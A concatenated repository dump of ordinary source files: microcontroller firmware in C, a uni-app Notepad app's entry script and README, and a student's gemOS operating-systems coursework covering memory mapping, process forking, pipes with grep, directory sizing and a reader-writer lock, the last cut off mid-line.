setBufferOnBuffer(BufferStruct* BufferGet, BufferStruct* BufferAdd); void setToExecutingVector(FunctionStruct*); FunctionStruct* getFromExecutingVector(void); uint8_t getExecutingVectorPointer(void); void initExecutingVector(void); FunctionStruct* getFromExecutingVectorOnIndex(uint8_t position); FunctionStruct* getChildOf(uint8_t); uint8_t isDataAvailable(BufferStruct *); FunctionStruct* newFunctionInExecutingVector(void); <file_sep>/Backup/Soft V1.0/Firmware 1.0/Sources/ConfigJM16.c #include "ConfigJM16.h" void InitReg(void){ EnableInterrupts; SOPT1=0X06; } /** @brief Inicializa y ajusta el reloj interno del microcontrolador */ void InitClock(void){ if (*(unsigned char*)0xFFAF != 0xFF) { /* Test if the device trim value is stored on the specified address */ MCGTRM = *(unsigned char*)0xFFAF; /* Initialize MCGTRM register from a non volatile memory */ MCGSC = *(unsigned char*)0xFFAE; /* Initialize MCGSC register from a non volatile memory */ } /* MCGC2: BDIV=0,RANGE=0,HGO=0,LP=0,EREFS=0,ERCLKEN=0,EREFSTEN=0 */ MCGC2= 0x00; /* Set MCGC2 register */ /* MCGC1: CLKS=0,RDIV=0,IREFS=1,IRCLKEN=1,IREFSTEN=0 */ MCGC1=0x06; /* Set MCGC1 register */ /* MCGC3: LOLIE=0,PLLS=0,CME=0,??=0,VDIV=1 */ MCGC3=0x01; /* Set MCGC3 register */ while(!MCGSC_LOCK) { /* Wait until FLL is locked */ } return; } /** @brief Inicializa los registros relacionados con la comunicacion serie del microcontrolador */ void InitComunication(void){ SCI1S2=0x00; //Configura el bit rate del SCI SCI1BDH=0x00; SCI1BDL=0x0A;//115200 SCI1C1=0x00; SCI1C3=0x00; SCI1C2=0x2C; (void)(SCI1S1); //borra posibles flags activados return; } void InitInputCompare(){ ////CONFIGURACION DE CANAL Y TIMER TPM1SC=0B00001100; TPM1C0SC=0B00001100; TPM1C1SC=0B00001100; TPM2SC=0B00001100; TPM2C0SC=0B00001100; TPM2C1SC=0B00001100; TPM1C3SC=0B00101000; } void InitPorts(){ PTADD=0X00; PTBDD=0X00; PTCDD=0X03; PTDDD=0X0F; PTEDD=0X70; PTFDD=0X03; PTGDD=0XFF; PTEPE=0B10000000; } void InitRtc(){ RTCMOD=0x00; RTCSC=0x78; }<file_sep>/Soft V1.0/Firmware 1.0/Sources/Dispatcher.c /*==================[inclusions]=============================================*/ #include "Dispatcher.h" /*==================[macros and definitions]=================================*/ /*==================[internal data declaration]==============================*/ /*==================[internal functions declaration]=========================*/ /*==================[internal data definition]===============================*/ /*==================[external data definition]===============================*/ /*==================[external functions definition]==========================*/ void dispatcher(ExecutingStruct* executingVector, BufferStruct* functionBuffer){ uint8_t vectorSize = getExecutingVectorPointer(); uint8_t counter = 0; uint8_t variable; uint8_t functionID; uint8_t functionParameter; uint8_t isRoot; uint8_t variableAux1; uint8_t variableAux2; uint8_t variableAux3; FunctionStruct* functionAux; //if(functionAux->functionId!=0&&){ for(counter = 0; counter <= vectorSize; counter++){ functionAux=getFromExecutingVectorOnIndex(counter); if(functionAux->status!=0&&functionAux->status!=DONE){ variable = getFromExecutingVectorOnIndex(counter)->status; functionID = getFromExecutingVectorOnIndex(counter)->functionId; functionParameter = getFromExecutingVectorOnIndex(counter)->functionParameter; isRoot = getFromExecutingVectorOnIndex(counter)->root; if(isRoot == MORE_FUNCTION || isRoot == UNIQUE_FUNCTION){ if(isRoot == MORE_FUNCTION){ variableAux1 = getFromExecutingVectorOnIndex(counter+1)->status; variableAux2 = getFromExecutingVectorOnIndex(counter+2)->status; variableAux3 = getFromExecutingVectorOnIndex(counter+3)->status; if(variableAux1 == ERROR || variableAux2 == ERROR || variableAux3 == ERROR){ variable = ERROR; getFromExecutingVectorOnIndex(counter+1)->status = DONE; getFromExecutingVectorOnIndex(counter+2)->status = DONE; getFromExecutingVectorOnIndex(counter+3)->status = DONE; } else{ if(variableAux1 == TIMEOUT || variableAux2 == TIMEOUT || variableAux3 == TIMEOUT){ variable = TIMEOUT; getFromExecutingVectorOnIndex(counter+1)->status = DONE; getFromExecutingVectorOnIndex(counter+2)->status = DONE; getFromExecutingVectorOnIndex(counter+3)->status = DONE; } if(variableAux1 == INACCESSIBLE_DEVICE || variableAux2 == INACCESSIBLE_DEVICE || variableAux3 == INACCESSIBLE_DEVICE){ variable = INACCESSIBLE_DEVICE; getFromExecutingVectorOnIndex(counter+1)->status = DONE; getFromExecutingVectorOnIndex(counter+2)->status = DONE; getFromExecutingVectorOnIndex(counter+3)->status = DONE; } if(variableAux1 == AVAILABLE && variableAux2 == AVAILABLE && variableAux3 == AVAILABLE){ variable = AVAILABLE; //revistar estooo!!! getFromExecutingVectorOnIndex(counter)->data[0] = getFromExecutingVectorOnIndex(counter+1)->data[0]; getFromExecutingVectorOnIndex(counter)->data[1] = getFromExecutingVectorOnIndex(counter+2)->data[0]; getFromExecutingVectorOnIndex(counter)->data[2] = getFromExecutingVectorOnIndex(counter+3)->data[0]; getFromExecutingVectorOnIndex(counter+1)->status = DONE; getFromExecutingVectorOnIndex(counter+2)->status = DONE; getFromExecutingVectorOnIndex(counter+3)->status = DONE; } } //counter = counter+3; } switch ( variable ) { case AVAILABLE: if(functionParameter >= 128){ setToBuffer(functionParameter, functionBuffer); variableAux1 = getFromExecutingVectorOnIndex(counter)->dataSize; variableAux2 = 0; setToBuffer(variableAux1, functionBuffer); for(variableAux2 = 0; variableAux2 <= variableAux1-1; variableAux2++){ setToBuffer(getFromExecutingVectorOnIndex(counter)->data[variableAux2], functionBuffer); //setToBuffer(variableAux2, functionBuffer); } } else{ setToBuffer(functionParameter, functionBuffer); setToBuffer(getFromExecutingVectorOnIndex(counter)->data[0], functionBuffer); } getFromExecutingVectorOnIndex(counter)->status = DONE; break; case INACCESSIBLE_DEVICE: setToBuffer(error, functionBuffer); setToBuffer(2,functionBuffer); if(functionParameter==getMeasureResponse){ functionParameter=getMeasure; } setToBuffer(functionParameter, functionBuffer); setToBuffer(INACCESSIBLE_DEVICE, functionBuffer); getFromExecutingVectorOnIndex(counter)->status = DONE; break; case TIMEOUT: setToBuffer(error, functionBuffer); setToBuffer(2,functionBuffer); setToBuffer(functionID, functionBuffer); setToBuffer(TIMEOUT, functionBuffer); getFromExecutingVectorOnIndex(counter)->status = DONE; break; } } } } } /*==================[internal functions definition]==========================*/
55b9ffd134db3d8f5f40979159fa98a64ace2e0b
[ "C", "C++", "INI" ]
51
C
pmartinizq/ProyectoFinal
9af91be2c3eb390df63127cac556d1fa598818c0
a4559650a7ae5c6e50618133c9aedb01fefec398
refs/heads/master
<file_sep>import Vue from 'vue'; import App from './App'; Vue.config.productionTip = false; App.mpType = 'app'; const app = new Vue({ ...App }); app.$mount(); // #ifdef APP-PLUS let main = plus.android.runtimeMainActivity(); //为了防止快速点按返回键导致程序退出重写quit方法改为隐藏至后台 plus.runtime.quit = function() { main.moveTaskToBack(false); }; //重写toast方法如果内容为 ‘再次返回退出应用’ 就隐藏应用,其他正常toast plus.nativeUI.toast = (function(str) { if (str == '再次返回退出应用') { plus.runtime.quit(); } else { uni.showToast({ title: '再次返回退出应用', //可以自定义其他弹出显示的内容 icon: 'none' }) } }); // #endif <file_sep># Notepad 简单、免费、开源的手机端的记事本,基于uni-app开发。 ## Issues 使用的时候遇到任何问题或有好的建议,请点击进入[issue](https://github.com/hai2007/Notepad/issues),欢迎参与维护! 开源协议 --------------------------------------- [MIT](https://github.com/hai2007/Notepad/blob/master/LICENSE) Copyright (c) 2021 [hai2007](https://hai2007.gitee.io/sweethome/) 走一步,再走一步。
b539b67dab7fa5e4ee2de8d4d9447a2cc97f89cc
[ "JavaScript", "Markdown" ]
2
JavaScript
Mokkkzy/Notepad
6e65a6036cd8bdcd66a0f25e9d3945a4920a2f96
3151257bf25ad20a6199fec80dfe08d3774e3c57
refs/heads/master
<repo_name>kotyari4/yii2-sypexgeo<file_sep>/test.php <?php /** * Created by PhpStorm. * User: k.zikanov * Date: 2019-03-21 * Time: 12:43 */ require_once 'vendor/autoload.php'; $geo = new \jisoft\sypexgeo\Sypexgeo(); // get by remote IP $geo->get('172.16.17.32'); // also returned geo data as array echo $geo->ip,'<br>'; echo $geo->ipAsLong,'<br>'; var_dump($geo->country); echo '<br>'; var_dump($geo->region); echo '<br>'; var_dump($geo->city); echo '<br>'; ?> <file_sep>/README.md SypexGeo extension for Yii2 ============================ Yii2 extension for Sypex Geo API Sypex Geo - product for location by IP address. Obtaining the IP address, Sypex Geo outputs information about the location of the visitor - country, region, city, geographical coordinates and other in Russian and in English. Sypex Geo use local compact binary database file and works very quickly. For more information visit: http://sypexgeo.net/ This Yii2 extension allow use Sypex Geo API in Yii2 application. Usage ----- Once the extension is installed, simply use it in your code by : ```php <?php $geo = new \jisoft\sypexgeo\Sypexgeo(); // get by remote IP $geo->get(); // also returned geo data as array echo $geo->ip,'<br>'; echo $geo->ipAsLong,'<br>'; var_dump($geo->country); echo '<br>'; var_dump($geo->region); echo '<br>'; var_dump($geo->city); echo '<br>'; // get by custom IP $geo->get('192.168.127.12'); ?> ``` Information about country, region and city returned as array. For example: ```html Country array ( 'id' => 222, 'iso' => 'UA', 'continent' => 'EU', 'lat' => 49, 'lon' => 32, 'name_ru' => 'Украина', 'name_en' => 'Ukraine', 'timezone' => 'Europe/Kiev', ), Region array ( 'id' => 709716, 'lat' => 48, 'lon' => 37.5, 'name_ru' => 'Донецкая область', 'name_en' => 'Donets\'ka Oblast\'', 'iso' => 'UA-14', 'timezone' => 'Europe/Zaporozhye', 'okato' => '14', ), City array ( 'id' => 709717, 'lat' => 48.023000000000003, 'lon' => 37.802239999999998, 'name_ru' => 'Донецк', 'name_en' => 'Donets\'k', 'okato' => '14101', ), ``` Installation ------------ The preferred way to install this extension is through [composer](http://getcomposer.org/download/). Either run ``` php composer.phar require --prefer-dist jisoft/yii2-sypexgeo "*" ``` or add ``` "jisoft/yii2-sypexgeo": "*" ``` to the require section of your `composer.json` file.
4ee87a61e59e9778a28f762f8ee0e80721d8c329
[ "Markdown", "PHP" ]
2
PHP
kotyari4/yii2-sypexgeo
c8f516c5d8075330947ed2a08d26c054e7182aa1
b84dd27a4cf5110d1995b95d0dcc9ec1093948f7
refs/heads/master
<repo_name>sanmitra1999/gemOS<file_sep>/Assignment3/cfork.c #include <cfork.h> #include <page.h> #include <mmap.h> /* You need to implement cfork_copy_mm which will be called from do_cfork in entry.c. Don't remove copy_os_pts()*/ void cfork_copy_mm(struct exec_context *child, struct exec_context *parent ){ copy_os_pts(parent->pgd, child->pgd); return; } /* You need to implement cfork_copy_mm which will be called from do_vfork in entry.c.*/ void vfork_copy_mm(struct exec_context *child, struct exec_context *parent ){ return; } /*You need to implement handle_cow_fault which will be called from do_page_fault incase of a copy-on-write fault * For valid acess. Map the physical page * Return 1 * * For invalid access, * Return -1. */ int handle_cow_fault(struct exec_context *current, u64 cr2){ return -1; } /* You need to handle any specific exit case for vfork here, called from do_exit*/ void vfork_exit_handle(struct exec_context *ctx){ return; }<file_sep>/Assignment2/init.c #include<ulib.h> // Dont try to add any other header files. int main(u64 arg1, u64 arg2, u64 arg3, u64 arg4, u64 arg5) { int a = 10, b = 20; printf("%d\n", a+b); int pid = getpid(); printf("Pid %d\n", pid); pid = fork(); if(pid == 0) { printf(" OS C330 Child1\n"); exit(0); } return 0; }<file_sep>/Assignment3/mmap.c #include <types.h> #include <mmap.h> /*** CHANGE ACCESS******/ int change_perm(struct exec_context *ctx, u64 addr,int prot ) { u64 *pte_entry = get_user_pte(ctx, addr, 0); if(!pte_entry) return -1; *pte_entry &=0xFFFFFFFD; // printk("hexadecimal %x\n",*pte_entry); if(prot== PROT_WRITE|| prot==(PROT_READ|PROT_WRITE)){ *pte_entry |= 0x2; } asm volatile ("invlpg (%0);" :: "r"(addr) : "memory"); // Flush TLB return 0; } /** map func*******/ u32 map_physical_page1(unsigned long base, u64 address, u32 access_flags, u32 upfn) { void *os_addr; u64 pfn; unsigned long *ptep = (unsigned long *)base + ((address & PGD_MASK) >> PGD_SHIFT); if(!*ptep) { pfn = os_pfn_alloc(OS_PT_REG); *ptep = (pfn << PAGE_SHIFT) | 0x7; os_addr = osmap(pfn); bzero((char *)os_addr, PAGE_SIZE); }else { os_addr = (void *) ((*ptep) & FLAG_MASK); } ptep = (unsigned long *)os_addr + ((address & PUD_MASK) >> PUD_SHIFT); if(!*ptep) { pfn = os_pfn_alloc(OS_PT_REG); *ptep = (pfn << PAGE_SHIFT) | 0x7; os_addr = osmap(pfn); bzero((char *)os_addr, PAGE_SIZE); } else { os_addr = (void *) ((*ptep) & FLAG_MASK); } ptep = (unsigned long *)os_addr + ((address & PMD_MASK) >> PMD_SHIFT); if(!*ptep){ pfn = os_pfn_alloc(OS_PT_REG); *ptep = (pfn << PAGE_SHIFT) | 0x7; os_addr = osmap(pfn); bzero((char *)os_addr, PAGE_SIZE); } else { os_addr = (void *) ((*ptep) & FLAG_MASK); } ptep = (unsigned long *)os_addr + ((address & PTE_MASK) >> PTE_SHIFT); if(!upfn) upfn = os_pfn_alloc(USER_REG); *ptep = ((u64)upfn << PAGE_SHIFT) | 0x5; /*if(access_flags == PROT_READ) *ptep |= 0x1; else{ *ptep |= 0x2; } */ if(access_flags == PROT_READ){ *ptep |= 0x1; } else{ *ptep |= 0x2; } // printk("ptep of main is %x\n",*ptep); return upfn; } /** * Function will invoked whenever there is page fault. (Lazy allocation) * * For valid acess. Map the physical page * Return 1 * * For invalid access, * Return -1. */ int vm_area_pagefault(struct exec_context *current, u64 addr, int error_code) { if(error_code==4){ // printk("no read access to unmapped\n"); unsigned long pt_base = (u64) current->pgd << PAGE_SHIFT; u32 upfn = map_physical_page1(pt_base, addr, PROT_READ, upfn); return 1; } else if(error_code==6){ //printk("no write access to unmapped\n"); int flag=0; //****** CHECK IF VM AREA THERE OR NOT struct vm_area* temp=current->vm_area; while(temp!=NULL){ if(addr == temp->vm_start){ if(temp->access_flags == PROT_READ){ return -1; } flag=1; } break; temp=temp->vm_next; } unsigned long pt_base = (u64) current->pgd << PAGE_SHIFT; u32 upfn = map_physical_page1(pt_base, addr, PROT_WRITE, upfn); return 1; } else if(error_code==7){ return -1; } } /** * mprotect System call Implementation. */ int vm_area_mprotect(struct exec_context *current, u64 addr, int length, int prot) { if(current->used_mem==0){ return -1; } struct vm_area* temp=current->vm_area; struct vm_area* prevTemp=current->vm_area; while(temp!=NULL){ if(addr>=temp->vm_start && addr<=temp->vm_end){ if(addr+length>temp->vm_end){ return -1; } if(addr==temp->vm_start && addr+length==temp->vm_end){ if(temp->access_flags != prot){ temp->access_flags=prot; } int check=change_perm(current,addr,prot); return 0; } else if(addr==temp->vm_start ){ if(temp->access_flags != prot){ if(stats->num_vm_area>=128){ return -1; } struct vm_area *newArea = alloc_vm_area(); newArea->access_flags = prot; temp->vm_start=addr+length; newArea->vm_start=temp->vm_start; newArea->vm_next=temp; newArea->vm_end=addr+length; if(temp==current->vm_area){ current->vm_area=newArea; } } int check=change_perm(current,addr,prot); return 0; } else if(addr+length==temp->vm_end ) { if(temp->access_flags != prot){ if(temp->vm_next!=NULL && prot==temp->vm_next->access_flags){ temp->vm_end=temp->vm_end-length; temp->vm_next->vm_start=addr+length; } else { if(stats->num_vm_area>=128){ return -1; } struct vm_area *newArea = alloc_vm_area(); newArea->access_flags = prot; newArea->vm_start=addr; newArea->vm_end=addr+length; newArea->vm_next= temp->vm_next; temp->vm_next=newArea; temp->vm_end=temp->vm_end-length; } } int check=change_perm(current,addr,prot); return 0; } else { if(temp->access_flags != prot){ if(stats->num_vm_area>=128){ return -1; } struct vm_area *newArea = alloc_vm_area(); struct vm_area *newArea1 = alloc_vm_area(); newArea->access_flags = prot; newArea1->access_flags = temp->access_flags; newArea->vm_start=addr; newArea->vm_next=newArea1; newArea->vm_end=addr+length; newArea1->vm_start=addr+length; newArea1->vm_end=temp->vm_end; newArea1->vm_next=temp->vm_next; temp->vm_end=newArea->vm_start; temp->vm_next=newArea; } int check=change_perm(current,addr,prot); return 0; } } prevTemp=temp; temp=temp->vm_next; } return -1;// no such vm_area } /** * mmap system call implementation. */ long vm_area_map(struct exec_context *current, u64 addr, int length, int prot, int flags) { if (addr>MMAP_AREA_END || addr < MMAP_AREA_START) { return -1; } length = (length % 4096 != 0) ? ((length / 4096) + 1)*4096 : length; if (addr == 0) { if (current->vm_area == NULL) { //create head //printk("head here\n"); // printk("cuurent mem is %x\n",current->used_mem); struct vm_area *newArea = alloc_vm_area(); current->vm_area = newArea; newArea->vm_start = MMAP_AREA_START; newArea->vm_end = newArea->vm_start + length; newArea->vm_next = NULL; current->used_mem += length; newArea->access_flags = prot; // printk("end is %d\n",newArea->vm_end); if(flags == MAP_POPULATE){ unsigned long pt_base = (u64) current->pgd << PAGE_SHIFT; for (int i = 0; i < (length/4096); i++) { u32 upfn = map_physical_page1(pt_base, newArea->vm_start+i*4096, prot, upfn); } // u32 upfn = map_physical_page1(pt_base, newArea->vm_start, prot, upfn); } return newArea->vm_start; } else { struct vm_area *temp = current->vm_area; struct vm_area *temp1 = current->vm_area->vm_next; while (temp != NULL) { if (temp1 == NULL) { if (temp->access_flags == prot) { temp->vm_end = temp->vm_end + length; current->used_mem += length; return temp->vm_start; } else { if(stats->num_vm_area>=128){ return -1; } struct vm_area *newArea = alloc_vm_area(); temp->vm_next = newArea; newArea->vm_start = temp->vm_end ; newArea->vm_end = newArea->vm_start + length; newArea->vm_next = NULL; newArea->access_flags = prot; current->used_mem += length; return newArea->vm_start; } } else if (length <= temp1->vm_start - temp->vm_end ) { if(length == temp1->vm_start - temp->vm_end && temp->access_flags == prot && temp1->access_flags == prot){ // dealloc_vm_area(temp1); temp->vm_end = temp1->vm_end ; current->used_mem += length; temp->vm_next=temp->vm_next->vm_next; dealloc_vm_area(temp1); return temp->vm_start; } else if (temp->access_flags == prot) { temp->vm_end = temp->vm_end + length; current->used_mem += length; return temp->vm_start; } else if (temp1->access_flags == prot) { temp1->vm_start = temp1->vm_start - length; current->used_mem += length; return temp1->vm_start; } else { if(stats->num_vm_area>=128){ return -1; } struct vm_area *newArea = alloc_vm_area(); temp->vm_next = newArea; newArea->vm_next = temp1; newArea->vm_start = temp->vm_end ; newArea->vm_end = newArea->vm_start + length; newArea->access_flags = prot; current->used_mem += length; return newArea->vm_start; } } temp = temp->vm_next; temp1 = temp1->vm_next; } return -1; } } // ******* HINT ADDR GIVEN********** else { // if hint addr given if (addr > MMAP_AREA_END || addr < MMAP_AREA_START) { return -1; } if (current->vm_area == NULL) { //create head if(stats->num_vm_area>=128){ return -1; } struct vm_area *newArea = alloc_vm_area(); current->vm_area = newArea; newArea->vm_start = addr; newArea->vm_end = newArea->vm_start + length; newArea->vm_next = NULL; current->used_mem += length; newArea->access_flags = prot; return newArea->vm_start; } else { struct vm_area *temp = current->vm_area; struct vm_area *temp1; while (temp != NULL) //****** SEARCH IF ALREADY MAPPED { if (addr <= temp->vm_end && addr >= temp->vm_start) { if(flags==MAP_FIXED){ return -1; } // struct vm_area *temp = current->vm_area; temp1 = temp->vm_next; if (temp->access_flags == prot) { temp->vm_end = temp->vm_end + length; current->used_mem += length; return temp->vm_start; } else if ( temp1!=NULL && temp1->access_flags == prot) { temp1->vm_start = temp->vm_start - length; current->used_mem += length; return temp1->vm_start; } else { if(stats->num_vm_area>=128){ return -1; } struct vm_area *newArea = alloc_vm_area(); temp->vm_next = newArea; newArea->vm_start = temp->vm_end ; newArea->vm_end = newArea->vm_start + length; current->used_mem += length; newArea->access_flags = prot; newArea->vm_next = temp1; return newArea->vm_start; } } temp = temp->vm_next; } // end while //***** FOR AREA NOT MAPPED YET temp = current->vm_area; temp1 = temp->vm_next; while (temp != NULL) { if (temp1 == NULL) { if(stats->num_vm_area>=128){ return -1; } struct vm_area *newArea = alloc_vm_area(); temp->vm_next = newArea; newArea->vm_start = addr; newArea->vm_end = newArea->vm_start + length; current->used_mem += length; newArea->access_flags = prot; newArea->vm_next = temp1; return newArea->vm_start; } else if (addr >= temp->vm_end && addr <= temp1->vm_start) { if(stats->num_vm_area>=128){ return -1; } struct vm_area *newArea = alloc_vm_area(); temp->vm_next = newArea; newArea->vm_start = addr; newArea->vm_end = newArea->vm_start + length; current->used_mem += length; newArea->access_flags = prot; newArea->vm_next = temp1; return newArea->vm_start; } temp = temp->vm_next; } } } } /** * munmap system call implemenations */ int vm_area_unmap(struct exec_context *current, u64 addr, int length) { struct vm_area* temp=current->vm_area; struct vm_area* prevTemp=NULL; while(temp!=NULL){ if(addr >= temp->vm_start && addr < temp->vm_end){ if(addr+length>temp->vm_end){ length=temp->vm_end-addr; } //*** when entire area is to be deallocated // printk(" endpoint is%x\n",temp->vm_end); if(addr==temp->vm_start && addr+length==temp->vm_end){ prevTemp->vm_next=temp->vm_next; // printk("page no deleted is %x\n",addr); current->used_mem -= length; dealloc_vm_area(temp); if(temp==current->vm_area){ current->vm_area=NULL; } return 0; } else if(addr == temp->vm_start){ temp->vm_start=temp->vm_start+length; current->used_mem-=length; return 0; } else if(addr+length==temp->vm_end){ temp->vm_end-=length; current->used_mem-=length; return 0; } else{ struct vm_area* newArea=alloc_vm_area(); newArea->vm_start=temp->vm_start; newArea->vm_end=addr; temp->vm_start=addr+length; newArea->access_flags=temp->access_flags; newArea->vm_next=temp; if(prevTemp==NULL){ current->vm_area=newArea; // printk("start in munmap is:%x\n",current->vm_area->vm_start); } else{ prevTemp->vm_next=newArea; } current->used_mem-=length; return 0; } } prevTemp=temp; temp=temp->vm_next; } return -1; } <file_sep>/Assignment1/Part_3/src/part3.c #include<stdio.h> #include<stdlib.h> #include<string.h> #include<unistd.h> #include<assert.h> #include<fcntl.h> #include<sys/types.h> #include <sys/stat.h> #include<dirent.h> #include <errno.h> #include<inttypes.h> #include<sys/wait.h> #include<dirent.h> #include<libgen.h> // <NAME> 160624 off_t getSize(char* cwd){ // printf("we are in function\n"); off_t size=(off_t)0; DIR *direc; direc=opendir(cwd); DIR *test; struct dirent* rd; char temp[256]; while( (rd=readdir(direc))!=NULL ){ //printf("we are in loop\n"); if(strcmp(rd->d_name,".")==0 || strcmp(rd->d_name,"..")==0 ){ continue; } strcpy(temp,cwd); strcat(temp,"/"); strcat(temp,rd->d_name); //printf("%s\n",temp); test=opendir(temp); if(test){ size+=getSize(temp); } else if(ENOTDIR==errno){ // printf("we are here in dir %s\n", temp); int file=open(temp,O_RDONLY); //off_t currentPos = lseek(fd, (size_t)0, SEEK_CUR); size += lseek(file, (size_t)0, SEEK_END); lseek(file, (size_t)0, SEEK_SET); } } // printf("size in getSize is%zd\n",size); return size; } int main(int argc,char** argv){ if(argc!=2){ printf("Error:Enter two arguements\n"); exit(-1); } //int fd[100][2]; DIR* direc; off_t size=(off_t)0; direc=opendir(argv[1]); if(direc){ // check if dir or not //recurSearch(argv[1]); int count=0; int fd[2000][2]; char buf[15]; // off_t sizeChild=(size_t)0; char temp[256]; char temp1[256]; DIR* test; pid_t pid; pid_t cpid; int status; struct dirent *rd; struct dirent *rd1; while( (rd=readdir(direc))!=NULL ){ //loop through dir // printf("we are in loop\n"); if(strcmp(rd->d_name,".")==0 || strcmp(rd->d_name,"..")==0 ){ continue; } strcpy(temp,argv[1]); strcat(temp,"/"); strcat(temp,rd->d_name); strcpy(temp1,rd->d_name) ; //printf("%s\n",temp); test=opendir(temp); if(test){ if(pipe(fd[count])<0){ //get sub dir perror("pipe"); exit(-1); } pid=fork(); if(!pid){ close(fd[count][0]); dup2(fd[count][1],1); off_t size1; size1=getSize(temp); // if child recurse and exec printf("%zd",size1); exit(1); } else{ cpid=wait(&status); off_t childSize=(off_t)0; close(fd[count][1]); dup2(fd[count][0],0); if( read(fd[count][0],buf,15)<0 ){//read input to buffer perror("read"); exit(-1); } buf[15]=0; int s=atoi(buf); childSize=(off_t)s; // print to parent size+=childSize; printf("%s ",temp1); printf("%zd\n",childSize); memset(buf,0,sizeof(buf)); } count++; } } DIR* direc1=opendir(argv[1]); // get remaining files in root while( (rd1=readdir(direc1))!=NULL ){ if(strcmp(rd1->d_name,".")==0 || strcmp(rd1->d_name,"..")==0 ){ continue; } strcpy(temp,argv[1]); strcat(temp,"/"); strcat(temp,rd1->d_name); test=opendir(temp); if(!test){ int file=open(temp,O_RDONLY); size += lseek(file, (size_t)0, SEEK_END); lseek(file, (size_t)0, SEEK_SET); } } char* folderName; folderName=basename(argv[1]); printf("%s %zd \n",folderName,size); } else if(ENOENT==errno){ //if path not valid printf("No such file or Directory\n"); exit(-1); } return 0; } <file_sep>/README.md # gemOS Operating Systems Course <file_sep>/Assignment1/Part_1/src/part1.c #include<stdio.h> #include<stdlib.h> #include<string.h> #include<unistd.h> #include<assert.h> #include <fcntl.h> #include<sys/types.h> #include <sys/stat.h> #include<dirent.h> #include <errno.h> // <NAME> 160624 void printLines(char* cwd,char* arg,int flag){ //print lines which have the word in them int fd,r,j=0; char temp,line[BUFSIZ]; if( (fd=open(cwd,O_RDONLY)) == -1){ printf("No such file or directory\n"); exit(-1); } if((fd=open(cwd,O_RDONLY)) != -1) { while((r=read(fd,&temp,sizeof(char)))!= 0) { if(temp!='\n') { line[j]=temp; j++; } else { line[j]='\0'; if(strstr(line,arg)!=NULL) { if(flag==1){ printf("\033[0;35m"); printf("%s:",cwd); printf("\033[0m"); } char word[256]; printf("%s\n",line); } memset(line,0,sizeof(line)); j=0; } } } } void recursiveSearch(char* cwd,char* arg){ // go through all sub directories char temp[256]; DIR* dir=opendir(cwd); DIR* test; struct dirent *rd; while( (rd=readdir(dir))!=NULL ){ if(strcmp(rd->d_name,".")==0 || strcmp(rd->d_name,"..")==0 ){ continue; } strcpy(temp,cwd); strcat(temp,"/"); strcat(temp,rd->d_name); test=opendir(temp); if(test){ recursiveSearch(temp,arg); } else{ printLines(temp,arg,1); } } } int main(int argc,char** argv){ int flag=0; if(argc!=3){ printf("Error:Enter two arguements\n"); exit(-1); } /*path format if complete path is given*/ DIR *directoryToOpen1; directoryToOpen1=opendir(argv[2]); if(directoryToOpen1){ recursiveSearch(argv[2],argv[1]); } else if(ENOTDIR==errno){ // if not a directory printLines(argv[2],argv[1],0); } else if(ENOENT==errno){ //if path not valid printf("No such file or Directory\n"); exit(-1); } return 0; } <file_sep>/Assignment1/Part_2/src/part2.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <assert.h> #include <fcntl.h> #include <sys/types.h> #include <sys/stat.h> #include <dirent.h> #include <sys/wait.h> // <NAME> 160624 int main(int argc, char **argv) { if (strcmp(argv[1],"@")==0) // part 2.1 { pid_t cpid; pid_t cpid1; int status, status1; int flag = 0; char buf[50]; int fd[2]; if (pipe(fd) < 0) { perror("pipe"); exit(-1); } int countLines = 0; int pid; pid = fork(); if (!pid) { //child reads and outputs into stdout dup2(fd[1], 1); close(fd[0]); char *arg_list[] = {"grep", "-r", argv[2], argv[3], 0}; execvp(arg_list[0], arg_list); } else { dup2(fd[0], 0); close(fd[1]); //cpid= wait(&status); while (1) { //scanf("%s",buf); if (read(fd[0], buf, 10) < 0) { perror("read"); exit(-1); } if (buf[0] == 0) { break; } buf[10] = 0; //printf("%s\n",buf); char temp = 'a'; int i = 0; while (temp != '\0') { temp = buf[i]; if (temp == '\n') { countLines++; //counts lines } i++; } memset(buf, 0, sizeof(buf)); } printf("%d\n", countLines); } } //Part 2.2 else if (strcmp(argv[1],"$")==0) { pid_t cpid, cpid1; int status, status1; char buf[200]; char buf1[50]; int countLines = 0; int fd[2]; if (pipe(fd) < 0) { perror("pipe"); exit(-1); } int pid; int pid1; pid = fork(); if (!pid) { //child reads and outputs into stdout int fd1[2]; if (pipe(fd1) < 0) { perror("pipe"); exit(-1); } pid1 = fork(); if (!pid1) { close(fd1[0]); close(fd[1]); close(fd[0]); dup2(fd1[1], 1); char *arg_list[] = {"grep", "-rF", argv[2], argv[3], 0}; execvp(arg_list[0], arg_list); } else { //cpid1=wait(&status1); close(fd[0]); close(fd1[1]); // opens file and weites into it dup2(fd1[0], 0); dup2(fd[1], 1); int file = open(argv[4], O_CREAT | O_RDWR | O_TRUNC, 0666); while (1) { if (read(fd1[0], buf1, 10) < 0) { perror("read"); exit(-1); } if (buf1[0] == 0) { break; } buf1[10] = 0; write(file, buf1, strlen(buf1)); memset(buf1, 0, sizeof(buf1)); } close(file); printf("%s", argv[4]); } } else { // cpid= wait(&status); close(fd[1]); dup2(fd[0], 0); if (strcmp(argv[5], "wc") == 0) { char fileName[200]; // scanf("%s",fileName); //gets file name and counts lines fgets(fileName, 200, stdin); char temp; int countLines=0; int fp,r; if((fp=open(fileName,O_RDONLY)) != -1) { while((r=read(fp,&temp,sizeof(char)))!= 0) { if(temp=='\n'){ countLines++; } } } printf("%d\n",countLines); } else if (strcmp(argv[5], "sort") == 0) { char fileName[100]; scanf("%s", fileName); char *arg_list[] = {"sort", fileName, 0}; //gets filename and sorts execvp(arg_list[0], arg_list); } } } return 0; }<file_sep>/Assignment4/rwlock.c #include<stdio.h> #include<stdlib.h> #include<pthread.h> #include<common.h> /* XXX NOTE XXX Do not declare any static/global variables. Answers deviating from this requirement will not be graded. */ void init_rwlock(rwlock_t *lock) { /*Your code for lock initialization*/ lock->value= 0x1000000000000 ; // printf("hello\n"); } void write_lock(rwlock_t *lock) { /*Your code to acquire write lock*/ // printf("here\n"); while(/*lock->value!=0x1000000000000*/ atomic_add(&lock->value,0)!=1 ){ } lock->value=0x0000000000000; } void write_unlock(rwlock_t *lock) { /*Your code to release the write lock*/ lock->value= 0x1000000000000 ; } void read_lock(rwlock_t *lock) { /*Your code to acquire read lock*/ while(atomic_add(&lock->value,0)!=1){ } // printf("here\n"); if(atomic_add(&lock->value,0)==1){ write_lock(lock); } int ret=atomic_add(&lock->value,-1); // printf("ret 